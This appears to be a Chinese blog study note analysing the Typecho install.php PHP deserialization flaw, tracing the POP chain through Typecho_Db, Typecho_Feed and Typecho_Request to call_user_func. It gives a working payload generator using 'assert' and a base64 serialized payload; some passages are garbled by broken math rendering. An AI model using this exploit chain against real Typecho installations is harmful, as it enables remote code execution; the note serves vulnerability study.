typecho反序列化漏洞学习笔记

什么是序列化?
百度百科:
将对象的状态信息转换为可以存储或传输形式的过程(字符串)。在序列化期间,对象将其当前的状态写入到临时(内存)或持久性存储区(硬盘)。以后可以通过从存储区中读取或者反序列化对象状态,重新创建状态。
简单来讲,序列化就是把一个对象变成可传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。字符串包括,属性名,属性值,属性类型和该对象对应的类名。
对象的序列化利于对象的 保存和传输 ,也可以让多个文件共享对象。将用户存储到临时或硬盘中(数据库),可以理解为一个拍快照,通常使用非关系型数据库,如redis、 MongodDB等(非关系型数据库一般用来进行缓存数据)
常见的序列化格式:
• 二进制格式
• 字节数组
• json字符串
• xml字符串

直到漏洞在install.php里,所以这里直接看源码。
在源码的第58行开始有哪个判断,分别是get和ip进行判断,如果条件不成立直接退出;
如果get到一个finish并且带上ip相同的referer,条件成立继续执行。
在这里插入图片描述下面就是反序列化点
在第230行
在这里插入图片描述1是传入finish参数,进入以下的语句块。
2这里有两个反序列化点,其中的Typecho_Cookie: :get的意思是,如果存在cookie就取cookie,如果没有就取post;Typrcho_config是cookie的一个key,这里可以直接控制。
3找到反序列化点后,接着查看POP链,这里就是其中一个POR点。
这里需要传入一个finish参数,然后在230行将cookie中的__typecho_config的值通过base64解码之后反序列化。
再往下看两行到232行,这里将 c o n f i g [ ′ a d a p t e r ′ ] 作 为 第 一 个 参 数 传 入 到 T y p e c h o D b ( ) 中 。 config['adapter']作为第一个参数传入到Typecho_Db()中。 config[adapter]TypechoDb()config就是反序列化传来的对象,因此这个参数也是我们可控的。我们跟进一下Typecho_Db()
打开Db.php
在这里插入图片描述在这里插入图片描述
在第114和120看到定义的变量,这里将我们传来的第一个参数做字符串拼接,如果第一个参数是对象的话,那么这里就会调用__toString()方法,那正好,第一个参数是可控的。
接下来寻找__toString方法,找到了一个Typecho_Feed类,寻找是件很痛苦的事,挨个找好难,在同文件夹下的Feed.php下
在这里插入图片描述
在这里插入图片描述
在上图中看到 i t e m [ ′ a u t h o r ′ ] − > s c r e e n N a m e , 如 果 item['author']->screenName,如果 item[author]>screenName,item[‘author’]是一个不能存在screenName属性类的话,那么这里就会调用这个类的__get()魔术方法,说明这个KaTeX parse error: Expected group after '_' at position 38: …screenName属性,并且_̲_get()方法存在危险操作。…content .= ‘dc:creator’ . htmlspecialchars($item[‘author’]->screenName) . ‘</dc:creator>’ . self::EOL;发现问题,前面提到__get()用于从不可访问的属性读取数据,foreach遍历时当screenName对象不存在的时候会调用__get(),这就全局搜索有__get()方法的类。
这两种思路是相同的,在Request.php选定代码。
在这里插入图片描述
跟进get()
在这里插入图片描述

t h i s − > p a r a m s 也 可 控 , 而 this->_params也可控,而 this>paramskey正式screenName,因此$value可控。
跟进applyFilter

在这里插入图片描述
可以看到,这里有个call_user_func方法,且 f i l t e r 和 filter和 filtervalue都可控。至此这条pop链基本是构造完了。

看到了call_user_func($filter, $value),这个函数的作用是把第一个参数作为回调函数调用,比如这个例子:

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");  //输出You wanted a mushroom haircut, no problem
call_user_func('barber', "shave");  //输出You wanted a shave haircut, no problem
?>

到此为止,利用链基本完整:
install.php中unserialize()内容可控==>install.php实例化了一个Typecho_Db,其中获取适配器名称$adapterName时调用了魔术方法__toString==>Feed.php执行__toString()的时候在获取screenName的时候调用了__get()方法==>Request.php中__get()中调用的get(),其中执行了_applyFilte==> Request.php中的_applyFilter()中使用了call_user_func(),该回调函数导致漏洞触发。
0x02 漏洞利用
payload如下:

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;
public function __construct()
    {
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'content' => '1',
            'link' => '1',
            'date' => 1540996608,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}
$payload = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);
echo base64_encode(serialize($payload));
?>

生成php文件访问它
在这里插入图片描述

会得到payload(base64)
YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

解码后
a:7:{s:4:“host”;s:9:“localhost”;s:4:“user”;s:6:“xxxxxx”;s:7:“charset”;s:4:“utf8”;s:4:“port”;s:4:“3306”;s:8:“database”;s:7:“typecho”;s:7:“adapter”;O:12:“Typecho_Feed”:3:{s:19:“Typecho_Feed_type”;s:7:“RSS
2.0”;s:20:“Typecho_Feed_items”;a:1:{i:0;a:5:{s:4:“link”;s:1:“1”;s:5:“title”;s:1:“2”;s:4:“date”;i:1507720298;s:6:“author”;O:15:“Typecho_Request”:2:{s:24:“Typecho_Request_params”;a:1:{s:10:“screenName”;i:-1;}s:24:“Typecho_Request_filter”;a:1:{i:0;s:7:“phpinfo”;}}s:8:“category”;a:1:{i:0;O:15:“Typecho_Request”:2:{s:24:“Typecho_Request_params”;a:1:{s:10:“screenName”;i:-1;}s:24:“Typecho_Request_filter”;a:1:{i:0;s:7:“phpinfo”;}}}}}s:10:“dateFormat”;N;}s:6:“prefix”;s:8:“typecho_”;}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值